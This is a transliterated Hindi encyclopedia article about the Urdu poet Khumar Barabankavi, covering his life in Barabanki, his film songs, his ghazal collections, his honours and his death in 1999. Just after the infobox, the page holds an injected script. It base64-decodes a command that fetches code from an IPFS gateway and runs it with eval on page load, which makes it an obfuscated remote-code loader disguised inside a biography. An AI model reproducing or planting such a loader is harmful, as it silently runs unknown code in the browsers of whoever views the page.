ख़ुमार बाराबंकवी
khumar barabankavi
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| poora nam | mohammad haidar khan (mool nam) |
| janm | 15 sitambar, 1919 |
| janm bhoomi | pirabatavan mohalla, barabanki, uttar pradesh |
| mrityu | 19 faravari, 1999 |
| mrityu sthan | lakhanoo, uttar pradesh |
| karm bhoomi | bharat |
| karm-kshetr | urdoo shayari |
| mukhy rachanaean | 'shab-e-tab', 'hadis-e-digar', 'atish-e-tar' aur 'rakhs-e-macha' adi. |
| prasiddhi | urdoo shayar |
| nagarikata | bharatiy |
| any janakari | varsh 1992 mean dubee mean khumar ki prasiddhi aur kamayabi ke liye jashn manaya gaya. 25 sitambar, 1993 ko barabanki jile mean jashn-e-khumar ka ayojan kiya gaya. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>khumar barabankavi (aangrezi: Khumar Barabankvi, janm- 15 sitambar, 1919; mrityu- 19 faravari, 1999) bharatiy shayar the. unaka vastavik nam mohammad haidar khan tha, lekin shayad hi koee unake is nam se vakiph ho. vah to mashahoor the khumar barabankavi ya khumar sahab ke nam se. barabanki jile ko antarrashtriy patal par pahachan dilane vale ajim shayar khumar barabankavi ko pyar se behad karibi log 'dullan' bhi bulate the.
parichay
urdoo gazal ki virasat lakhoan shayaroan mean sadiyoan se taqasim hoti aee hai lekin bahut kam aise shayar guzare haian jinake daman mean lal-o-javahar ae haian aur jinaki zaban se shabdoan ke moti ban-ban kar bikhare haian. vali dakani ne urdoo gazal ka charag raushan kiya tha jo pahale dilli mean jagamagaya phir lakhanoo ke aivanoan mean noor ban ke barasa. charag se charag aur shamma se shamma hoti rahi. is manoos narm aur dilakash roshani ki shammoan ke silasile mean sanbhavatah tarannum ke fanus mean roshan ek akhiri shamma thi jo muhammad haidar khaan khumar barabankavi banakar san 1999 tak jalati rahi. ek behad pasandida tagazzul se bharapoor soz mean doobi huee gazalagoee aur gazalasaraee mean khumar ke saman koee n tha. is rah mean vah akele the, faramate the[1]-
ho n ho ab agee manzil qarib.
raste sunasan nazar ae haian.
janm
khumar barabankavi ka janm 15 sitambar san 1919 ko barabanki, uttar pradesh mean hua tha.
uttar pradesh ki rajadhani se poorab ki taraf 23 kilomitar door shahar barabanki sthit hai. isaki khas boli to kisi qadar avadhi se milati julati hai lekin shikshit varg aur sanbhraant lakhanoo ki zaban bolate haian. tahazib bhi vahi hai. she’r-o-adab ki mahafilean aur mushayare aur doosari adabi saragarmiyaan hoti rahati haian. barabanki zila mean qasba roodauli bhi hai jahaan ke namavar shayar majaz the. qarar barabankavi bhi achchhe shayar the jinake kalam ko lakhanoo ke ahl-e-zaban bhi pasand karate the. unhian ke ek shagird muhammad haidar khaan yani khumar barabankavi the. unhoanne skool aur k aaulej mean talim hasil kar ke pulis vibhag mean naukari karali thi. sheragoee ka shauq bachapan se tha. pahale sthaniy mushayaroan mean shirakat karate rahe phir lakhanoo ki niji mahafiloan mean kalam sunaya to hiao khula aur baqayada mushayaroan mean amantrit kie jane lage. qudarat ne unako gazal ke anuroop behad dilakash aur purasoz avaz ata ki thi jisako avaz ka ek nashat-aangez soz kahana chahie jo jigar muradabadi ke bad un hi ke hisse mean aya tha.
bane the gazal ke lie
sach to ye hai ki gazal unake lie aur vo gazal ke lie bane the. ek jagah likhate haian ki "maianne samast vidhaoan ka vishleshan karane ke bad apani bhavanaoan aur ghatanaoan ko vyakt karane ke lie klasiki gazal hi ko sabase zyada upayukt aur anukool paya, to gazal ke khidamat guzarooan mean shamil ho gaya. vaqt ne kee karavatean badalian magar maianne gazal ka daman nahian chho da." ye faisala khumar ka bilkul sahi tha. varna urdoo adab mean mahaboob ki dilabari aur ashiq ki gam-ashna dilanavazi se bharapoor halki phulki mutarannim gazaloan ka itana achchha sangrah ekatr n hone pata.[1]
filmoan mean yogadan
san 1945 mean mushayare mean shirakat ki garaz se khumar, jigar muradabadi aur majarooh sultanapuri ke sath banbee ae the. e.ar.karadar ne jab unaka kalam suna to apani film 'shahajahaan' maian git likhane ki farmaish ki jo khumar ne qabool kar li. us film mean naushad ne sangit diya tha aur kundan lal sahagal ne git gae the-
chah barbad karegi hamean maloom n tha.
ham pe aise bhi p degi hamean maloom n tha.
kuchh aur gane bhi unake b de lokapriy hue, jaise-
- tasvir banata hooan tasvir nahian banati.
- bhoola nahian dena bhoola nahian dena, zamana kharab hai.
- dil ki mahafil saji hai chale aie.
- muhabbat khuda hai muhabbat khuda hai.
banbee ke mahaul aur 1947 ke dangoan ne unako banbee se du:khi kar diya aur khumar barabankavi vapas uttar bharat chale ge.
sadagi pasand
khumar barabankavi nihayat sadagi pasand the aur dilachasp guftagoo karate the. har ek se jhuk ke milate the. shuroo mean sharab pine ke buri tarah adi the lekin bad mean tauba kar liya tha. phikr-o-khyal ki dhimi dhimi ag ko vo sine mean liye phirate the aur kabhi kabhi ashar mean usako vyakt kar dete the magar shikayat nahian. unaki javaan-sal l daki jab iantiqal kar gee to is b de sadame ko unhoanne sirf ek sher mean vyakt kiya hai[1]-
usako jate hue to dekha tha.
phir basarat ne sath chho d diya.
mrityu
khumar barabankavi ne 80 baras ki lambi umr paee. 19 faravari, 1999. ko zindagi ki sharab ka khumar utar gaya aur vah anant ki duniya mean pahuanch ge. mrityu ke ek varsh poorv se hi unhoanne khana pina chho d diya tha. 13 faravari, 1999 ko unaki halat ganbhir ho gee thi. unhean lakhanoo ke medikal kalej mean bharti karaya gaya tha. jahaan 19 faravari ki rat unhoanne akhiri saans li.
lekhan kary v samman
khumar sahab ne char pustakean bhi likhian. ye pustakean 'shab-e-tab', 'hadis-e-digar', 'atish-e-tar' aur 'rakhs-e-macha' hai. unaki pustakean kee vishvavidyalayoan ke pathayakram mean shamil ki geean. unhean uttar pradesh urdoo akadami, jigar muradabadi, urdoo avard, urdoo seantar kiniya aur akadami navaye mir usmaniya vishvavidyalay haidarabad, malti kalcharal seantar oso kanada, adabi sangam nyooyark, din dayal jalan samman varanasi, kamar jalalavi elaids kalej pakistan adi ne sammanit kiya. varsh 1992 mean dubee mean khumar ki prasiddhi aur kamayabi ke liye jashn manaya gaya. 25 sitambar, 1993 ko barabanki jile mean jashn-e-khumar ka ayojan kiya gaya. jisamean tatkalin rajyapal motilal vora ne ek lakh ki dhanarashi v prashasti patr unhean dekar sammanit kiya tha.[2]
haidarabad ke ek mushayare mean li gee ek tasvir se unaka sirf chehara lekar baqi hissa mukammal kiya gaya hai aur rang v paridrishy se sajaya gaya hai. is poz mean vo kalam sunate nazar arahe haian aur bahut sare logoan ki yadadasht mean unaka yahi chehara mahafooz hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 khumar barabankavi ka parichay (hiandi) rekhta.org. abhigaman tithi: 05 disambar, 2021.
- ↑ khumar barabankavi / parichay (hiandi) kavitakosh.org. abhigaman tithi: 05 disambar, 2021.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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